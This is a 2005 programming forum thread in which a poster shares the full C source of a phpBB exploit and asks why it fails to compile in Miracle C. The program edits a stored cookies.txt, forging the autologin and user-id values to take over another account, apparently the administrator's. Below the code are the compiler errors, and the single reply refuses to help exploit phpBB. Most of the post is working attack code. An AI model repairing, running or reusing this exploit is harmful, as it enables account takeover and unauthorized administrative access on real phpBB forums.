Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Mar 21st, 2005, 2:35 PM   #1
Messiah
Newbie
 
Join Date: Mar 2005
Posts: 1
Rep Power: 0 Messiah is on a distinguished road
C compiling problems.

Ok, I pretty much don't know anything about programming, but I am trying to compile this phpbb exploit to test out my servers. This is the code, it is public knowledge.

Below the code is the error message I get.
====================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",
*pos;
int p=0, i=0;

if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");

if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}

strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);

if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}

if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}
======================================================

And this is the error I get when I try to compile

========================================================

Miracle C Compiler (r3.2), written by bts.
line 28: String crosses a line: a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0

line 29: String crosses a line: ,

line 32: String crosses a line: a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb

line 33: String crosses a line: ,

line 65: String crosses a line: The file cookies.txt isn't valid for execute the

line 66: String crosses a line: );

Compiling c:\documents and settings\root\desktop\phpbbsploit.c
main

c:\documents and settings\root\desktop\phpbbsploit.c: line 26: too many locals declared
'char contenido[10000], cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0" %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22"," cookief[9]="%22%3B%7D", cookiec[106], cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb" %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"," *pos'
aborting compile
=========================================================

Any help with what's going on would be greatly appreciated.

Edit: I'm using windows xp pro, and Miracle C workbench,which I found at www.download.com

Last edited by Messiah; Mar 21st, 2005 at 3:07 PM.
Messiah is offline   Reply With Quote
Old Mar 21st, 2005, 3:31 PM   #2
Ooble
I eat cake for breakfast.
 
Ooble's Avatar
 
Join Date: Jul 2004
Location: In my box.
Posts: 4,434
Rep Power: 9 Ooble is on a distinguished road
I'm not helping you exploit phpBB.
__________________
Me :: You :: Them
Ooble is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 5:14 AM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC